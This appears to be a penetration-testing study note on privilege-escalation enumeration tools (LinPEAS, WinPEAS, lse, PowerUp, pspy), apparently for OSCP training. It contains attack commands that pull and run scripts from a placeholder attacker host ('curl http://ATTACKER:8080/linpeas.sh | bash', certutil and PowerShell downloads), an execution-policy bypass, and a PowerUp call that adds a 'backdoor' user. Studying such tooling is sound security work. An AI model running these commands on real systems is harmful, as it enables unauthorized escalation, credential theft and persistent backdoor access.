Privesc Tools

Privesc Tools — LinPEAS, WinPEAS, PowerUp, pspy

Overview

After initial access, automated enum scripts find misconfigs faster than manual checklist alone. Use them first, then dig into Linux or Windows PrivEsc for the specific vector they flag.

Kali paths — PEASS-ng (linpeas / winpeas)

Install: sudo apt install peass

Full install index → Installation - Kali Setup > 📌 Privilege escalation

/usr/share/peass/
├── linpeas/
│   ├── linpeas.sh              ← main Linux script (most common)
│   ├── linpeas_small.sh
│   ├── linpeas_fat.sh
│   └── linpeas_linux_amd64     ← compiled binaries
└── winpeas/
    ├── winPEASx64.exe          ← 64-bit Windows (most OSCP targets)
    ├── winPEASx86.exe
    ├── winPEASany.exe
    ├── winPEAS.bat
    └── winPEAS.ps1

Also on PATH after install: linpeas, winpeas, peass (shows tree).

# Serve from Kali without copying
cd /usr/share/peass/linpeas && python3 -m http.server 8080
# target: wget http://ATTACKER:8080/linpeas.sh
 
cd /usr/share/peass/winpeas && python3 -m http.server 8080
# target: certutil ... winPEASx64.exe
 
# Copy to working dir
cp /usr/share/peass/linpeas/linpeas.sh ~/linpeas.sh
cp /usr/share/peass/winpeas/winPEASx64.exe ~/winPEASx64.exe

Download via File Transfer.

---

📌 1) LinPEAS (Linux)

Repo: PEASS-ng/linPEAS

# Transfer to target
wget http://ATTACKER:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
 
# Run
./linpeas.sh
./linpeas.sh | tee /tmp/linpeas.out
 
# One-liner (no file on disk)
curl http://ATTACKER:8080/linpeas.sh | bash
 
# Penelope — in-memory LinPEAS after reverse shell: **[[Penelope]]** → `run peass_ng`
 
# Faster / less noise
./linpeas.sh -a

Watch for (red/yellow highlights):

• SUID binaries → check GTFOBins
• sudo -l NOPASSWD entries
• Writable /etc/passwd, cron, systemd .service units, systemd timers
• Capabilities (cap_setuid, cap_dac_read_search)
• Credentials in configs, history, env vars
• Kernel version → public exploits

See Linux.

---

📌 1b) lse — Linux Smart Enumeration

Repo: diego-treitos/linux-smart-enumeration · Full note → lse - Linux Smart Enumeration

Gradual privesc enum (inspired by LinEnum). Start level 0, escalate to -l1 / -l2.

curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh; chmod 700 lse.sh
./lse.sh -i
./lse.sh -l 1 -i
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i
./lse.sh -S    # v2.10+ — serve script to other hosts

---

📌 1c) linuxprivchecker

Repo: sleventyeleven/linuxprivchecker · Full note → linuxprivchecker

Python enum — world-writable files, misconfigs, cleartext passwords. Enumerate only (OSCP-safe).

wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
python3 linuxprivchecker.py -w -o linuxprivchecker.log
python3 linuxprivchecker.py -s -w -o linuxprivchecker.log   # skip heavy searches

---

📌 2) WinPEAS (Windows)

Repo: PEASS-ng/winPEAS

Transfer WinPEAS to target (attacker serves first)

# On Kali — serve binary
cd /path/to/winPEAS && python3 -m http.server 8080
# Files: winPEASx64.exe, winPEASx86.exe, winPEAS.bat

Download on target — all methods

REM Method 1 — certutil (CMD, very common OSCP)
certutil -urlcache -split -f http://ATTACKER_IP:8080/winPEASx64.exe C:\Temp\winPEAS.exe
 
REM Method 2 — PowerShell WebClient (one-liner)
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://ATTACKER_IP:8080/winPEASx64.exe', 'C:\Temp\winPEAS.exe')"
 
REM Method 3 — Invoke-WebRequest
powershell -c "Invoke-WebRequest -Uri 'http://ATTACKER_IP:8080/winPEASx64.exe' -OutFile 'C:\Temp\winPEAS.exe'"
 
REM Method 4 — IWR alias (shorter)
powershell -c "IWR http://ATTACKER_IP:8080/winPEASx64.exe -OutFile C:\Temp\winPEAS.exe"
 
REM Method 5 — SMB from Kali (no HTTP outbound)
copy \\ATTACKER_IP\share\winPEASx64.exe C:\Temp\winPEAS.exe
 
REM Method 6 — evil-winrm upload (WinRM shell)
upload /home/kali/tools/winPEASx64.exe C:\Temp\winPEAS.exe

See File Transfer, certutil, PowerShell Cmdlets, evil-winrm.

Run WinPEAS

C:\Temp\winPEAS.exe
C:\Temp\winPEASx64.exe cmd fast          REM Faster, less output
C:\Temp\winPEASx64.exe cmd systeminfo    REM Focused module
C:\Temp\winPEAS.bat                      REM If .exe blocked by AV
C:\Temp\winPEAS.exe > C:\Temp\out.txt    REM Save output

WinPEASx64.exe common args

Arg	Description
cmd	CMD-style output (default)
fast	Quick scan — skip slow checks
systeminfo	System info module only
servicesinfo	Services only
eventsinfo	Event logs
applicationsinfo	Installed apps
networkinfo	Network
usersinfo	Users
browserinfo	Browser creds/history
filesinfo	Interesting files
quiet	Less console noise
notcolor	No ANSI colors (for log files)

winPEASx64.exe cmd fast
winPEASx64.exe quiet cmd notcolor

Watch for:

• SeImpersonatePrivilege → Potato Attacks / GodPotato · PrintSpoofer
• SeBackupPrivilege / Backup Operators → nxc -M backup_operator OR on-box → SeBackupPrivilege
• SeRestorePrivilege → SeRestorePrivilege (wbadmin recovery, write abuse)
• Churrasco / named-pipe privesc → Churrasco
• Missing patches / kernel vulns → collect systeminfo → winExploitSuggester on Kali
• Unquoted service paths
• Writable service binaries
• AlwaysInstallElevated → AlwaysInstallElevated - MSI Privilege Escalation
• Stored credentials (cmdkey /list)
• Autologon registry keys
• Weak service permissions

See Windows PrivEsc.

---

📌 2b) winExploitSuggester (Kali — patch / kernel hints)

Not run on target. Collect systeminfo on Windows, analyze on Kali for missing MS bulletins with [E] exploit / [M] Metasploit markers.

REM Target
systeminfo > C:\Temp\systeminfo.txt

# Kali
python3 windows-exploit-suggester.py --update
python3 windows-exploit-suggester.py --database DATE-mssb.xls --systeminfo systeminfo.txt --local

Full workflow → winExploitSuggester

---

📌 2c) linux-exploit-suggester (Kali — kernel hints)

Not run on target. Collect uname -a on Linux, analyze on Kali for kernel exploit candidates.

uname -a > uname.txt
./linux-exploit-suggester.sh -f uname.txt

Full workflow → linux-exploit-suggester

---

📌 3) PowerUp.ps1 (Windows)

Full reference → PowerUp (part of PowerSploit)

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass   # if .ps1 won't load
. .\PowerUp.ps1
Get-Command Invoke-AllChecks
Invoke-AllChecks
Invoke-ServiceAbuse -Name 'VulnService' -UserName ".\backdoor" -Password "Password123!"

AD enum on same shell → PowerView

---

📌 4) pspy (Linux)

Full reference → pspy (DominicBreuker/pspy)

wget http://ATTACKER:8080/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64
./pspy64 -pf -i 1000          # Print full command line

Monitors process creation without root — catches hidden cron. See Linux → Cron section.

---

📌 5) Recommended Order

Linux shell

1. id; sudo -l; uname -a
2. LinPEAS — via **[[Penelope]]** `run peass_ng` or curl | bash
3. lse -l 1 -i or linuxprivchecker if you want a second pass
4. pspy (background) while manual checks
5. Manual: SUID, cron, capabilities per [[Linux]]

Windows shell

1. whoami /priv; systeminfo
2. SeImpersonate? → GodPotato FIRST ([[Potato Attacks]])
3. WinPEAS or PowerUp Invoke-AllChecks
4. Manual per [[Windows PrivEsc]]

---

📌 6) Alternatives (Awareness)

Tool	Notes
LinEnum	Older Linux script — prefer lse - Linux Smart Enumeration
lse.sh	lse - Linux Smart Enumeration — gradual verbosity
linuxprivchecker	linuxprivchecker — Python enum, OSCP-safe
Seatbelt	Windows — quieter than WinPEAS
LaZagne	Dump stored passwords from browsers/apps

---

📌 Quick Cheat Sheet

# Linux
curl http://ATTACKER:8080/linpeas.sh | bash
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i
python3 linuxprivchecker.py -w -o /tmp/priv.log
./pspy64 -pf -i 1000
 
# Windows
certutil -urlcache -split -f http://ATTACKER:8080/winPEASx64.exe C:\Temp\w.exe
.\PowerUp.ps1 → Invoke-AllChecks
whoami /priv  → GodPotato if SeImpersonate

---

---

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Related Tools

• Potato Attacks
• File Transfer
• PowerShell Cmdlets
• certutil
• evil-winrm
• Penelope
• PowerView
• PowerUp
• PowerSploit

Related Notes

• Privilege Escalation
• Linux
• Windows PrivEsc
• Potato Attacks
• Post-Exploitation
• Shells
• Training